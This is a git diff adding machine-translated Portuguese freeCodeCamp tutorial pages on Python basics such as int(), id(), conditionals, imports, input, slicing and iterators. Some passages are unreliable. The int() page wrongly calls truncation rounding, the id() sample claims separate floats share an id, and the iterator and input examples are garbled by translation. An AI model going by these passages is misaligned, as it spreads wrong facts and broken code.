+20 
+```
+
+Mas você deve ter em mente alguns casos especiais:
+
+1.  Um ponto flutuante (um inteiro com parte fracionária) como um argumento retornará o float arredondado para o número inteiro mais próximo. Por exemplo: `print(int(7.9))` irá imprimir `7` . Também `print(int("7.9"))` resultará em um erro, pois a string é um argumento inválido para converter em um inteiro.
+    
+    ```py
+    Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+     ValueError: invalid literal for int() with base 10: '7.9' 
+    
+    ```
+    
+2.  Além disso, qualquer inteiro em palavras, se fornecido como um argumento, retornará o mesmo erro acima: `print(int("one"))` dará um erro da seguinte forma:
+    
+    ```py
+    Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+     ValueError: invalid literal for int() with base 10: 'one' 
+    
+    ```
+    
+
+#### Mais Informações:
+
+Documentação oficial para `int()` built-in pode ser encontrada [aqui](https://docs.python.org/3.6/library/functions.html#int)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/idobject/index.md b/client/src/guide/portuguese/python/idobject/index.md
new file mode 100644
index 0000000000..848d47b432
--- /dev/null
+++ b/client/src/guide/portuguese/python/idobject/index.md
@@ -0,0 +1,43 @@
+---
+title: Python Idobject
+localeTitle: Idobjeto Python
+---
+`id()` é uma função embutida no Python 3, que retorna a _identidade_ de um objeto. A _identidade_ é um inteiro exclusivo para esse objeto durante sua vida útil. Este também é o endereço do objeto na memória.
+
+## Argumento
+
+#### objeto
+
+O argumento do `object` pode ser tipicamente `int` , `float` , `str` , `list` , `dict` , `tuple` etc.
+
+## Amostra de código
+```
+a = 2 
+ print(id(a)) #=> 140454723286976 (Values returned by id() might be different for different users) 
+ 
+ b = 3 
+ print(id(b)) #=> 140454723287008 
+ 
+ c = 2 
+ print(id(c)) #=> 140454723286976 (This is same as id(a) since they both contain the same value and hence have same memory address) 
+ 
+ print(id(a) == id(b)) #=> False (since a and b have different values stored in them) 
+ print(id(a) == id(c)) #=> True (since a and c have same values stored in them) 
+ 
+ d = 1.1 
+ e = 1.1 
+ print(id(d) == id(e)) #=> True (since d and e have same values stored in them) 
+ 
+ str1 = 'hello' 
+ str2 = 'hello' 
+ print(id(str1) == id(str2)) #=> True (since str1 and str2 have same values stored in them) 
+ 
+ # For complex objects like lists, tuples, dictionaries etc. id() would give a unique integer even if the content of those containers is same. 
+ tup1 = (1,1) 
+ tup2 = (1,1) 
+ print(id(tup1) == id(tup2)) #=> False 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CQw7/1)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#id)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/if-elif-else-statements/index.md b/client/src/guide/portuguese/python/if-elif-else-statements/index.md
new file mode 100644
index 0000000000..71dce9c4c7
--- /dev/null
+++ b/client/src/guide/portuguese/python/if-elif-else-statements/index.md
@@ -0,0 +1,96 @@
+---
+title: If Elif Else Statements
+localeTitle: Se Elif Else Statements
+---
+## Se Elif Else Statements
+
+A estrutura `if` / `elif` / `else` é uma maneira comum de controlar o fluxo de um programa, permitindo que você execute blocos de código específicos dependendo do valor de alguns dados. Se a condição após a palavra-chave `if` avaliada como `true` , o bloco de código será executado: Observe que os parênteses não são usados ​​antes e depois da verificação da condição, como em outros idiomas.
+
+```python
+if True: 
+  print('If block will execute!') 
+```
+
+```python
+x = 5 
+ 
+ if x > 4: 
+  print("The condition was true!") #this statement executes 
+```
+
+Opcionalmente, você pode adicionar `else` resposta que será executada se a condição for `false` :
+
+```python
+if not True: 
+  print('If statement will execute!') 
+ else: 
+  print('Else statement will execute!') 
+```
+
+Ou você também pode ver este exemplo
+
+```python
+y = 3 
+ 
+ if y > 4: 
+  print("I won't print!") #this statement does not execute 
+ else: 
+  print("The condition wasn't true!") #this statement executes 
+```
+
+_Observe que não há nenhuma condição após a palavra-chave `else` - ela captura todas as situações em que a condição era `false`_
+
+Várias condições podem ser verificadas incluindo uma ou mais verificações `elif` após sua instrução `if` inicial, mas somente uma condição será executada:
+
+```python
+z = 7 
+ 
+ if z > 8: 
+  print("I won't print!") #this statement does not execute 
+ elif z > 5: 
+  print("I will!") #this statement will execute 
+ elif z > 6: 
+  print("I also won't print!") #this statement does not execute 
+ else: 
+  print("Neither will I!") #this statement does not execute 
+```
+
+_Observe apenas a primeira condição que avalia como `true` será executada. Mesmo que `z > 6` seja `true` , o bloco `if/elif/else` termina após a primeira condição verdadeira. Isso significa que uma `else` só será executada se nenhuma das condições for `true` ._
+
+Também podemos criar aninhados para a tomada de decisão. Antes de preceder, consulte o guia de indentação href = 'https: //guide.freecodecamp.org/python/code-blocks-and-indentation' target = '\_ blank' rel = 'nofollow'> uma vez antes.
+
+Vamos dar um exemplo de encontrar um número que seja par e maior que '10 '
+```
+python 
+ x = 34 
+ if x %  2 == 0:  # this is how you create a comment and now, checking for even. 
+  if x > 10: 
+    print("This number is even and is greater than 10") 
+  else: 
+    print("This number is even, but not greater 10") 
+ else: 
+  print ("The number is not even. So point checking further.") 
+```
+
+Este foi apenas um exemplo simples de ifs aninhados. Por favor, sinta-se livre para explorar mais online.
+
+Embora os exemplos acima sejam simples, você pode criar condições complexas usando [comparações](https://guide.freecodecamp.org/python/comparisons) [booleanas](https://guide.freecodecamp.org/python/boolean-operations) e [operadores booleanos](https://guide.freecodecamp.org/python/boolean-operations) .
+
+**_Instrução in-line de python if-else_**
+
+Nós também podemos usar as funções if-else em linha do python O exemplo a seguir deve verificar se o número é maior ou igual a 50, se sim retornar True:
+```
+python 
+ x = 89 
+ is_greater = True if x >= 50 else False 
+ 
+ print(is_greater) 
+```
+
+Saída
+```
+> 
+ True 
+ > 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/import-statements/index.md b/client/src/guide/portuguese/python/import-statements/index.md
new file mode 100644
index 0000000000..7e55bef3a4
--- /dev/null
+++ b/client/src/guide/portuguese/python/import-statements/index.md
@@ -0,0 +1,97 @@
+---
+title: Python Import Statements
+localeTitle: Declarações de importação do Python
+---
+Enquanto aprende a programar e lê alguns recursos, você se depararia com essa palavra "abstração", que significa simplesmente reduzir e reutilizar o código o máximo possível.
+
+Funções e Módulos facilitam a abstração. Você cria funções quando deseja fazer algo repetidamente em um arquivo.
+
+Os módulos entram em cena quando você deseja reutilizar um grupo de funções em diferentes arquivos de origem. Módulos também são úteis na estruturação do programa.
+
+*   Usando bibliotecas padrão e outros módulos de terceiros:
+*   Estruturando o programa
+
+## Usando Bibliotecas Padrão
+
+Exemplo: Você pode ler sobre os métodos / funções de todas as bibliotecas padrão no documento oficial do Python em detalhes.
+```
+import time 
+ for i in range(100): 
+    time.sleep(1)   # Waits for 1 second and then executes the next command 
+    print(str(i) + ' seconds have passed')  # prints the number of seconds passed after the program was started 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CS6C)
+```
+# To calculate the execution time of a part of program 
+ import time 
+ start = time.time() 
+ # code here 
+ end = time.time() 
+ print('Execution time:' , end-start) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CS6C/1)
+```
+# Using math Module 
+ import math 
+ print(math.sqrt(100))   # prints 10 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CS6C/2)
+
+## Usando módulos de terceiros
+
+Módulos de terceiros não vêm junto com o python, mas temos que instalá-lo externamente usando gerenciadores de pacotes como [`pip`](https://bootstrap.pypa.io/get-pip.py) e [`easy install`](https://bootstrap.pypa.io/ez_setup.py)
+```
+# To make http requests 
+ import requests 
+ rq = requests.get(target_url) 
+ print(rq.status_code) 
+```
+
+Saiba mais sobre o módulo python-requests [aqui](http://docs.python-requests.org/en/master/)
+
+## Para estruturar programas
+
+Queremos fazer um programa que tenha várias funções em relação a números primos. Então vamos começar. Vamos definir todas as funções em `prime_functions.py`
+```
+# prime_functions.py 
+ from math import ceil, sqrt 
+ def isPrime(a): 
+    if a == 2: 
+        return True 
+    elif a % 2 == 0: 
+        return False 
+    else: 
+        for i in range(3,ceil(sqrt(a)) + 1,2): 
+            if a % i == 0: 
+                return False 
+        return True 
+ 
+ def print_n_primes(a): 
+    i = 0 
+    m = 2 
+    while True: 
+        if isPrime(m) ==True: 
+            print(m) 
+            i += 1 
+        m += 1 
+        if i == a: 
+            break 
+```
+
+Agora queremos usar as funções que acabamos de criar em `prime_functions.py` então criamos um novo arquivo `playground.py` para usar essas funções.
+
+> _Por favor, note que este programa é simples demais para fazer dois arquivos separados, é apenas para demonstrar. Mas quando existem grandes programas complexos, criar arquivos diferentes é realmente útil._
+```
+# playground.py 
+ import prime_functions 
+ print(prime_functions.isPrime(29)) # returns True 
+```
+
+## Importação de classificação
+
+A boa prática é classificar módulos de `import` em três grupos - importações de bibliotecas padrão, importações de terceiros relacionadas e importações locais. Dentro de cada grupo, é sensato classificar em ordem alfabética pelo nome do módulo. Você pode encontrar [mais informações no PEP8](https://www.python.org/dev/peps/pep-0008/?#imports) .
+
+Uma das coisas mais importantes para a linguagem Python é a legibilidade, e os módulos de classificação em ordem alfabética são mais rápidos de ler e pesquisar. Também é mais fácil verificar se algo é importado e evitar importações duplicadas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/index.md b/client/src/guide/portuguese/python/index.md
new file mode 100644
index 0000000000..6d37904d23
--- /dev/null
+++ b/client/src/guide/portuguese/python/index.md
@@ -0,0 +1,175 @@
+---
+title: Python
+localeTitle: Python
+---
+## O que é o Python?
+
+[Python](https://www.python.org) é uma linguagem de programação de uso geral que é tipificada, interpretada e conhecida dinamicamente por sua facilidade de leitura com excelentes princípios de design.
+
+Para saber mais sobre o Python, confira estas páginas em python.org:
+
+[O que é o Python?](https://www.python.org/doc/essays/blurb/)
+
+[FAQ do Python](https://docs.python.org/3/faq/general.html) .
+
+## Python 2 ou Python 3
+
+*   As duas versões são semelhantes, com o conhecimento de uma mudança para escrever código para o outro é fácil.
+*   [Python 2 ou Python 3](https://wiki.python.org/moin/Python2orPython3)
+    *   [O Python 2.x não será mantido após 2020.](https://www.python.org/dev/peps/pep-0373/)
+    *   3.x está em desenvolvimento ativo. Isso significa que todas as melhorias recentes na biblioteca padrão, por exemplo, só estão disponíveis por padrão no Python 3.x.
+    *   O ecossistema Python acumulou uma quantidade significativa de software de qualidade ao longo dos anos. A desvantagem de quebrar a compatibilidade retroativa em 3.x é que alguns desses softwares (especialmente o software interno nas empresas) ainda não funcionam no 3.x ainda.
+
+## Instalação
+
+A maioria dos sistemas operacionais baseados em \* nix vem com o Python instalado (geralmente Python 2, Python 3 nos mais recentes). Substituindo o sistema O Python não é recomendado e pode causar problemas. No entanto, versões diferentes do Python podem ser instaladas com segurança ao lado do sistema Python. Veja [Configuração e Uso do Python](https://docs.python.org/3/using/index.html) .
+
+O Windows não vem com o Python, o instalador e as instruções podem ser encontradas [aqui](https://docs.python.org/3/using/windows.html)
+
+## Intérprete Python
+
+O interpretador Python é o que é usado para executar scripts Python.
+
+Se estiver disponível e no caminho de busca do shell Unix tornar possível iniciá-lo digitando o comando `python` seguido pelo nome do script, ele invocará o interpretador e executará o script.
+
+`hello_campers.py`
+
+```python
+print('Hello campers!') 
+```
+
+Do terminal:
+```
+$ python hello_campers.py 
+ Hello campers! 
+```
+
+"Quando várias versões do Python são instaladas, é possível chamá-las por versão, dependendo da configuração da instalação. No ambiente personalizado Cloud9 ide, elas podem ser chamadas como:
+```
+$ python --version 
+ Python 2.7.6 
+ $ python3 --version 
+ Python 3.4.3 
+ $ python3.5 --version 
+ Python 3.5.1 
+ $ python3.6 --version 
+ Python 3.6.2 
+ $ python3.7 --version 
+ Python 3.7.1 
+```
+
+## Modo Interativo Interpretador Python
+
+O modo interativo pode ser iniciado chamando o interpretador Python com o sinalizador `-i` ou sem nenhum argumento.
+
+O modo interativo possui um prompt no qual os comandos do Python podem ser inseridos e executados:
+```
+$ python3.5 
+ Python 3.5.1 (default, Dec 18 2015, 00:00:00) 
+ GCC 4.8.4 on linux 
+ Type "help", "copyright", "credits" or "license" for more information. 
+ >>> print("Hello campers!") 
+ Hello campers! 
+ >>> 1 + 2 
+ 3 
+ >>> exit() 
+ $ 
+```
+
+## O Zen do Python
+
+Alguns dos princípios que influenciaram o design do Python estão incluídos como um ovo de Páscoa e podem ser lidos usando o comando dentro do modo interativo do interpretador Python:
+```
+>>> import this 
+ The Zen of Python, by Tim Peters 
+ 
+ Beautiful is better than ugly. 
+ Explicit is better than implicit. 
+ Simple is better than complex. 
+ Complex is better than complicated. 
+ Flat is better than nested. 
+ Sparse is better than dense. 
+ Readability counts. 
+ Special cases aren't special enough to break the rules. 
+ Although practicality beats purity. 
+ Errors should never pass silently. 
+ Unless explicitly silenced. 
+ In the face of ambiguity, refuse the temptation to guess. 
+ There should be one-- and preferably only one --obvious way to do it. 
+ Although that way may not be obvious at first unless you're Dutch. 
+ Now is better than never. 
+ Although never is often better than *right* now. 
+ If the implementation is hard to explain, it's a bad idea. 
+ If the implementation is easy to explain, it may be a good idea. 
+ Namespaces are one honking great idea -- let's do more of those! 
+```
+
+## Prós e contras do Python
+
+### Prós
+
+1.  Linguagem interativa com suporte de módulo para quase todas as funcionalidades.
+2.  Código aberto: Assim, você pode contribuir para a comunidade, as funções que você desenvolveu para uso futuro e para ajudar os outros.
+3.  Um monte de bons intérpretes e notebooks disponíveis para uma melhor experiência como o notebook jupyter.
+
+#### Contras
+
+1.  Sendo open source, muitas maneiras diferentes se desenvolveram ao longo do ano para a mesma função. Isso às vezes cria um caos para os outros lerem o código de outra pessoa.
+2.  É uma linguagem lenta. Então, uma linguagem muito ruim para usar no desenvolvimento de algoritmos gerais.
+
+## Documentação
+
+[Python está bem documentado](https://docs.python.org/3/) . Esses documentos incluem tutoriais, guias, referências e informações meta para o idioma.
+
+Outra referência importante é o Python Enhancement Proposals ( [PEPs](https://www.python.org/dev/peps/) ). Incluído nos PEPs é um guia de estilo para escrever código Python, [`PEP 8`](https://www.python.org/dev/peps/pep-0008/) .
+
+## Depuração
+
+Instruções de `print` embutidas podem ser usadas para depuração simples:
+
+> **… Muitas vezes a maneira mais rápida de depurar um programa é adicionar algumas instruções de impressão à fonte: o ciclo rápido de edição-teste-depuração torna essa abordagem simples muito eficaz.**
+> 
+> \- [Resumo executivo](https://www.python.org/doc/essays/blurb/)
+
+O Python também inclui ferramentas mais poderosas para depuração, como:
+
+*   módulo de [_logging_](https://docs.python.org/3/library/logging.html) , [_logging_](https://docs.python.org/3/library/logging.html)
+*   módulo de depuração, [_pdb_](https://docs.python.org/3/library/pdb.html)
+
+Apenas observe que eles existem por enquanto.
+
+## Olá Mundo!
+
+Voltando aos documentos, podemos ler sobre a função de [`print`](https://docs.python.org/3/library/functions.html#print) , uma [_função_](https://docs.python.org/3/library/functions.html) [interna da Biblioteca Padrão](https://docs.python.org/3/library/index.html) do [Python](https://docs.python.org/3/library/index.html) .
+```
+print(*objects, sep=' ', end='\n', file=sys.stdout, flush=False) 
+```
+
+As funções integradas estão listadas em ordem alfabética. O nome é seguido por uma lista entre parênteses de parâmetros formais com valores padrão opcionais. Sob essa é uma breve descrição da função e seus parâmetros são dados e, ocasionalmente, um exemplo.
+
+A função de [`print`](https://docs.python.org/3/library/functions.html#print) no Python 3 substitui a instrução [`print`](https://docs.python.org/2/reference/simple_stmts.html#print) no Python 2.
+```
+>>> print("Hello world!") 
+ Hello world! 
+```
+
+Uma função é chamada quando o nome da função é seguido por `()` . Para o mundo Hello! Por exemplo, a função de impressão é chamada com uma string como um argumento para o primeiro parâmetro. Para o restante dos parâmetros, os padrões são usados.
+
+O argumento que chamamos de função de `print` é um objeto `str` ou _string_ , um dos [_tipos_](https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str) internos do Python. Além disso, o mais importante sobre python é que você não precisa especificar o tipo de dados ao declarar uma variável, o compilador do python fará isso com base no tipo de valor atribuído.
+
+O parâmetro `objects` é prefixado com um `*` que indica que a função terá um número arbitrário de argumentos para esse parâmetro.
+
+## Quer aprender mais?
+
+O Free Code Camp possui ótimos recursos. A web é um lugar grande, há muito mais para explorar:
+
+*   Livro de Práticas em Python: http://anandology.com/python-practice-book/index.html
+*   Pense no Python: http://greenteapress.com/thinkpython/html/index.html
+*   Python de Negócios Práticos: http://pbpython.com/
+*   Outro curso: https://realpython.com/?utm _source = fsp e utm_ medium = promo & utm\_campaign = bestresources
+*   Geral: https://www.fullstackpython.com/
+*   Aprenda o básico: https://www.codecademy.com/learn/learn-python
+*   Ciência da computação usando Python: https://www.edx.org/course/introduction-computer-science-mitx-6-00-1x-11?ref=hackernoon#!
+*   Lista de mais recursos para aprender python: https://github.com/vinta/awesome-python
+*   Python interativo: http://interactivepython.org/runestone/static/thinkcspy/index.html
+*   Guia do desenvolvedor para Python: https://devguide.python.org/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/input-functions/index.md b/client/src/guide/portuguese/python/input-functions/index.md
new file mode 100644
index 0000000000..3a0ae05edb
--- /dev/null
+++ b/client/src/guide/portuguese/python/input-functions/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Input Function
+localeTitle: Função de entrada em Python
+---
+Muitas vezes, em um programa, precisamos de alguma entrada do usuário. Tomar entradas do usuário faz o programa parecer interativo. No Python 3, para receber informações do usuário, temos uma função `input()` . Se a função de entrada for chamada, o fluxo do programa será interrompido até que o usuário forneça uma entrada e tenha terminado a entrada com a tecla de retorno. Vamos ver alguns exemplos:
+
+1.  Quando nós apenas queremos pegar a entrada:
+    
+    # Isso só vai dar um aviso sem qualquer mensagem
+    
+    inp = input ()
+    
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CUqX/0)
+
+1.  Para dar um aviso com uma mensagem:
+    
+    prompt _com_ mensagem = entrada (' ')
+    
+    # \_
+    
+    # O '\_' na saída é o prompt
+    
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CUqX/1)
+
+3\. Quando queremos ter uma entrada inteira:
+```
+number = int(input('Please enter a number: ')) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CUqX/2)
+
+Se você inserir um valor não inteiro, o Python lançará um erro `ValueError` . **Então, sempre que você usar isso, por favor, certifique-se de pegar também.** Caso contrário, seu programa será interrompido inesperadamente após o prompt.
+```
+number = int(input('Please enter a number: ')) 
+ # Please enter a number: as 
+ # Enter a string and it will throw this error 
+ # ValueError: invalid literal for int() with base 10 'as' 
+```
+
+4\. Quando queremos uma entrada de string:
+```
+string = str(input('Please enter a string: ')) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CUqX/3)
+
+Porém, as entradas são armazenadas por padrão como uma string. Usar a função `str()` deixa claro para o leitor de código que a entrada será uma 'string'. É uma boa prática mencionar que tipo de entrada será tomada antecipadamente.
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#input)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/installing-and-using-python-3/index.md b/client/src/guide/portuguese/python/installing-and-using-python-3/index.md
new file mode 100644
index 0000000000..a8187afc3d
--- /dev/null
+++ b/client/src/guide/portuguese/python/installing-and-using-python-3/index.md
@@ -0,0 +1,77 @@
+---
+title: Installing and Using Python 3
+localeTitle: Instalando e usando o Python 3
+---
+## Instalando o Python 3
+
+Você pode baixar o Python deste [link](https://www.python.org/downloads/) oficial. Baseado no seu SO (Windows ou Linux ou OSX), você pode querer instalar o Python 3 seguindo [estas instruções](http://docs.python-guide.org/en/latest/starting/installation/) .
+
+## Usando ambientes virtuais
+
+É sempre uma ótima idéia para [proteger](https://en.wikipedia.org/wiki/Sandbox_(computer_security)) sua instalação do Python; e mantê-lo separado do seu _sistema Python_ . O _System Python_ é o caminho para o interpretador Python, que é usado por outros módulos instalados junto com o seu sistema operacional.
+
+Não é **seguro** instalar estruturas ou bibliotecas Web Python diretamente usando o _System Python_ . Em vez disso, você pode usar o [Virtualenv](https://virtualenv.readthedocs.org/en/latest/) para criar e gerar um processo Python separado quando estiver desenvolvendo aplicativos Python.
+
+### Virtualenvwrapper
+
+O [módulo Virtualenvwrapper](https://virtualenvwrapper.readthedocs.org/en/latest/) facilita o gerenciamento e o sandbox de vários ambientes de área restrita do Python em uma única máquina; sem corromper quaisquer módulos ou serviços escritos em Python e usados ​​por sua máquina.
+
+É claro que a maioria dos ambientes de desenvolvimento hospedados na nuvem, como o [Nitrous](https://www.nitrous.io/) ou o [Cloud9,](https://c9.io/) também vem com esses pré-instalados e prontos para você obter a codificação! Você pode escolher rapidamente uma caixa em seu painel e iniciar a codificação depois de ativar um ambiente do Python 3.
+
+No [Cloud9](https://c9.io/) , você precisa selecionar a caixa Django enquanto cria um novo ambiente de desenvolvimento.
+
+Alguns exemplos de comandos shell seguiriam. Se você deseja copiar e colar, observe que o sinal `$` é um atalho para o terminal, não faz parte do comando. Meu prompt de terminal é algo como isto:
+```
+alayek:~/workspace (master) $ 
+```
+
+E um `ls` parece
+```
+alayek:~/workspace (master) $ ls 
+```
+
+Mas, ao escrever o mesmo nesta documentação, eu estaria escrevendo como
+```
+$ ls 
+```
+
+Voltando à nossa discussão, você pode criar um sandbox incluído no interpretador Python 3 no Cloud9 executando em seu terminal na nuvem:
+```
+$ mkvirtualenv py3 --python=/usr/bin/python3 
+```
+
+Você precisa executá-lo apenas uma vez depois de criar uma nova caixa para o seu projeto. Uma vez executado, este comando criaria um novo virtualenv em área restrita pronto para uso, chamado `py3` .
+
+Para ver os ambientes virtuais disponíveis, você pode usar
+```
+$ workon 
+```
+
+Para ativar o `py3` , você pode usar o comando `workon` com o nome do ambiente:
+```
+$ workon py3 
+```
+
+Todos os três comandos do terminal acima também funcionariam em máquinas Linux locais ou máquinas OSX. Estes são comandos [virtualenvwrapper](https://virtualenvwrapper.readthedocs.org/en/latest/#introduction) ; Portanto, se você estiver planejando usá-los, certifique-se de ter este módulo instalado e adicionado à variável `PATH` .
+
+Se você está dentro de um ambiente virtual; Você pode facilmente descobrir isso, verificando o seu terminal. O nome do ambiente seria mostrado claramente no seu prompt de terminal.
+
+Por exemplo, quando estou dentro do ambiente `py3` ; Eu estaria vendo isso como meu prompt de terminal:
+```
+(py3)alayek:~/workspace (master) $ 
+```
+
+Observe o `(py3)` entre chaves! Se por algum motivo, você não estiver vendo isso, mesmo se estiver dentro de um env virtual; Você pode tentar fazer uma das coisas [mencionadas aqui](http://stackoverflow.com/questions/1871549/python-determine-if-running-inside-virtualenv) .
+
+Para sair de um ambiente virtual; ou para desativar um - use o comando
+```
+$ deactivate 
+```
+
+Novamente, isso funciona apenas com o módulo virtualenvwrapper.
+
+### Pipenv
+
+Uma alternativa ao uso do virtualenvwrapper é o [Pipenv](https://docs.pipenv.org/) . Cria automaticamente ambientes virtuais para seus projetos e mantém um `Pipfile` que contém as dependências. Usar o Pipenv significa que você não precisa mais usar pip e virtualenv separadamente ou gerenciar seu próprio arquivo `requirements.txt` . Para aqueles familiarizados com JavaScript, o Pipenv é semelhante ao uso de uma ferramenta de empacotamento como o `npm` .
+
+Para começar a usar o Pipenv, você pode seguir este [guia](https://docs.pipenv.org/install.html#installing-pipenv) muito detalhado. O Pipenv facilita a [especificação da versão do Python que](https://docs.pipenv.org/basics.html#specifying-versions-of-python) você deseja usar para cada projeto, a [importação](https://docs.pipenv.org/basics.html#importing-from-requirements-txt) de um arquivo `requirements.txt` existente e o [gráfico de](https://docs.pipenv.org/#pipenv-graph) suas dependências.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/is-there-a-way-to-substring-a-string-in-python/index.md b/client/src/guide/portuguese/python/is-there-a-way-to-substring-a-string-in-python/index.md
new file mode 100644
index 0000000000..4c905cd1d0
--- /dev/null
+++ b/client/src/guide/portuguese/python/is-there-a-way-to-substring-a-string-in-python/index.md
@@ -0,0 +1,125 @@
+---
+title: Is There a Way to Substring a String in Python
+localeTitle: Existe uma maneira de subtrair uma string em Python
+---
+## Existe uma maneira de subtrair uma string em Python
+
+O Python oferece muitas maneiras de substring uma string. Muitas vezes é chamado de "corte".
+
+Segue este modelo:
+
+```python
+string[start: end: step] 
+```
+
+Onde,
+
+`start` : o índice inicial da substring. O caractere nesse índice está incluído na substring. Se _start_ não for incluído, é assumido como igual a 0.
+
+`end` : O índice de finalização da substring. O caractere neste índice _NÃO_ está incluído na substring. Se _end_ não estiver incluído, ou se o valor especificado exceder o tamanho da string, será assumido que é igual ao comprimento da string por padrão.
+
+`step` : Cada caractere de 'passo' após o caractere atual a ser incluído. O valor padrão é 1. Se o valor do _passo_ for omitido, será considerado igual a 1.
+
+#### Modelo
+
+`string[start:end]` : obtém todos os caracteres do _início_ do índice ao _final de 1_
+
+`string[:end]` : obtém todos os caracteres do começo da string até o _fim de 1_
+
+`string[start:]` : Obtém todos os caracteres do _início_ do índice até o final da string
+
+`string[start:end:step]` : obtém todos os caracteres do _início_ ao _fim de 1_ descontando cada caractere de _passo_
+
+#### Exemplos
+
+*   **Obter os primeiros 5 caracteres de uma string**
+
+```python
+string = "freeCodeCamp" 
+ print(string[0:5]) 
+```
+
+Saída:
+
+```shell
+> freeC 
+```
+
+Nota: `print(string[:5])` retorna o mesmo resultado da `print(string[0:5])`
+
+*   **Obter uma substring de comprimento 4 do terceiro caractere da string**
+
+```python
+string = "freeCodeCamp" 
+ print(string[2:6]) 
+```
+
+Saída:
+
+```shell
+> eeCo 
+```
+
+Por favor, note que o índice inicial ou final pode ser um número negativo. Um índice negativo significa que você começa a contar a partir do final da string, em vez do início (ou seja, da direita para a esquerda). O índice -1 representa o último caractere da string, -2 representa o segundo ao último caractere e assim por diante ...
+
+*   **Obter o último caractere da string**
+
+```python
+string = "freeCodeCamp" 
+ print(string[-1]) 
+```
+
+Saída:
+
+```shell
+> p 
+```
+
+*   **Obter os últimos 5 caracteres de uma string**
+
+```python
+string = "freeCodeCamp" 
+ print(string[-5:]) 
+```
+
+Saída:
+
+```shell
+> eCamp 
+```
+
+*   **Obtém uma substring que contém todos os caracteres, exceto os últimos 4 caracteres e o primeiro caractere**
+
+```python
+string = "freeCodeCamp" 
+ print(string[1:-4]) 
+```
+
+Saída:
+
+```shell
+> reeCode 
+```
+
+#### Mais exemplos
+
+```py
+str = “freeCodeCamp” 
+ 
+ print str[-5:-2] # prints 'eCa' 
+ print str[-1:-2] # prints '' (empty string) 
+```
+
+*   **Obter todos os outros caracteres de uma string**
+
+```python
+string = "freeCodeCamp" 
+ print(string[::2]) 
+```
+
+Saída:
+
+```shell
+> feCdCm 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/iterators/index.md b/client/src/guide/portuguese/python/iterators/index.md
new file mode 100644
index 0000000000..08543cc9ab
--- /dev/null
+++ b/client/src/guide/portuguese/python/iterators/index.md
@@ -0,0 +1,40 @@
+---
+title: Python Iterators
+localeTitle: Iteradores Python
+---
+O Python suporta um conceito de iteração sobre contêineres. Isso é implementado usando dois métodos distintos; eles são usados ​​para permitir que classes definidas pelo usuário suportem a iteração.
+
+[Documentos do Python - Tipos de Iteradores](https://docs.python.org/3/library/stdtypes.html#iterator-types)
+
+Iteração é o processo de repetir programaticamente uma etapa um determinado número de vezes. Um programador pode fazer uso da iteração para executar a mesma operação em cada item de uma coleção de dados, por exemplo, imprimindo todos os itens de uma lista.
+
+*   Objetos podem implementar um `__iter__()` que retorna um objeto iterador para suportar a iteração.
+    
+*   Objetos iteradores devem implementar:
+    
+    *   `__iter__()` : retorna o objeto iterador.
+        
+    *   `__next__()` : retorna o próximo objeto do container.
+        
+    
+    _objeto_ iterador _\= 'abc'. **iter** () print (_ objeto _iterador_ ) print (id ( _objeto_ iterador _)) print (id (_ objeto _iterador_ . **iter** ())) # Retorna o próprio iterador. print ( _objeto_ iterador _. **next** ()) # Retorna o primeiro objeto e avança o iterador. print (_ objeto _iterador_ . **next** ()) # Retorna o segundo objeto e avança o iterador. print ( _objeto_ iterador _. **next** ()) # Retorna o terceiro objeto e avança o iterador. print (_ objeto _iterador_ . **next** ()) # Aumenta a exceção StopIteration.
+    
+
+Saída:
+```
+<str_iterator object at 0x102e196a0> 
+ 4343305888 
+ 4343305888 
+ a 
+ b 
+ c 
+ --------------------------------------------------------------------------- 
+ StopIteration                             Traceback (most recent call last) 
+ <ipython-input-1-d466eea8c1b0> in <module>() 
+      6 print(iterator_object.__next__())     # Returns 2nd object and advances iterator. 
+      7 print(iterator_object.__next__())     # Returns 3rd object and advances iterator. 
+ ----> 8 print(iterator_object.__next__())     # Raises StopIteration Exception. 
+ 
+ StopIteration: 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/itertools/index.md b/client/src/guide/portuguese/python/itertools/index.md
new file mode 100644
index 0000000000..1164a07fd4
--- /dev/null
+++ b/client/src/guide/portuguese/python/itertools/index.md
@@ -0,0 +1,51 @@
+---
+title: Itertools
+localeTitle: Itertools
+---
+Itertools é um módulo python de funções que retorna geradores, objetos que só funcionam quando são iterados. Alguns exemplos de funções itertool incluem, mas não se limitam a: chain (), imap (), product () e compress ().
+
+### cadeia()
+
+A função chain () toma vários iteradores como argumentos e retorna um único iterador que produz o conteúdo de todos eles como se eles viessem de uma sequência.
+
+```py
+import itertools 
+ list(itertools.chain([1, 2], [3, 4])) 
+ 
+ # Output 
+ # [1, 2, 3, 4] 
+```
+
+### islice ()
+
